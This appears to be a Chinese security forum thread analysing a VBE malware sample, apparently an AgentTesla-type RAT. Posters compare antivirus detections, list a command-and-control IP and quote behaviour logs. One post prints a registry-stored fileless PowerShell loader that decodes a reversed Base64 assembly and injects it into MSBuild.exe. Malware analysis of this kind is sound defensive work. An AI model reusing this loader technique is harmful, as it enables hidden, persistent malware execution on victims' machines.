vbe/vbs script 1x

显示全部楼层 · 发表于 2024-5-29 23:35:36

wwwab 发表于 2024-5-29 23:08
导出一下注册表位置：HKEY_CURRENT_USER\\Software\\WldwyMYlWDaYZMI

那个js应该是无文件攻击手段

[HKEY_CURRENT_USER\SOFTWARE\WldwyMYlWDaYZMI]"v"="{[}AppDomain{]}::CurrentDomain.Load{(}[Convert{]}::FromBase64String{(}{(}-join {(}Get-ItemProperty -LiteralPath 'HKCU:\\Software\\WldwyMYlWDaYZMI' -Name 's'{)}.s | ForEach-Object {{}$_{[}-1..-{(}$_.Length{)}{]}{}}{)}{)}{)}; {[}a.a{]}::a{(}'WldwyMYlWDaYZMI'{)}""b"="0""path"="WldwyMYlWDaYZMI""i"="MSBuild.exe"

复制代码

显示全部楼层 · 发表于 2024-5-30 07:25:52

AhnLab miss 云分析未知，感觉安博士对于vbs文件不是很敏感

显示全部楼层 · 发表于 2024-5-30 08:31:09

EIS kill

显示全部楼层 · 发表于 2024-5-30 13:10:02

本帖最后由 UNknownOoo 于 2024-5-30 13:13 编辑

IDefender，默认规则没有检测到注入恶意代码到MSBuild.exe内存

显示全部楼层 · 发表于 2024-5-30 17:35:19

本帖最后由 yaokai815 于 2024-5-31 09:50 编辑

360kill 瑞星miss

显示全部楼层 · 发表于 2024-5-31 08:20:03

GreatMOLA 发表于 2024-5-29 22:09
RAT

66.29.151.236

四个杀毒软件，厉害

显示全部楼层 · 发表于 2024-5-31 10:17:57

yaokai815 发表于 2024-5-30 17:35
360kill 瑞星miss

用esm365吧

显示全部楼层 · 发表于 2024-5-31 22:42:03

本帖最后由 sanhu35 于 2024-5-31 22:45 编辑

行为: 网络连接（TCP）
进程路径: C:\Windows\System32\wscript.exe
进程命令行: "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Desktop\SOA REF010085.vbe"

操作目标: ctldl.windowsupdate.com:80

行为: 创建计划任务
进程路径: C:\Windows\System32\wscript.exe
进程命令行: "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Desktop\SOA REF010085.vbe"

操作目标: WldwyMYlWDaYZMI|C:\Users\Administrator\WldwyMYlWDaYZMI.js

添加一堆证书

显示全部楼层 · 发表于 2024-5-31 23:35:13

XywCloud 发表于 2024-5-29 22:22
#AgentTesla

下载下来没找到这个文件

[病毒样本] vbe/vbs script 1x

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源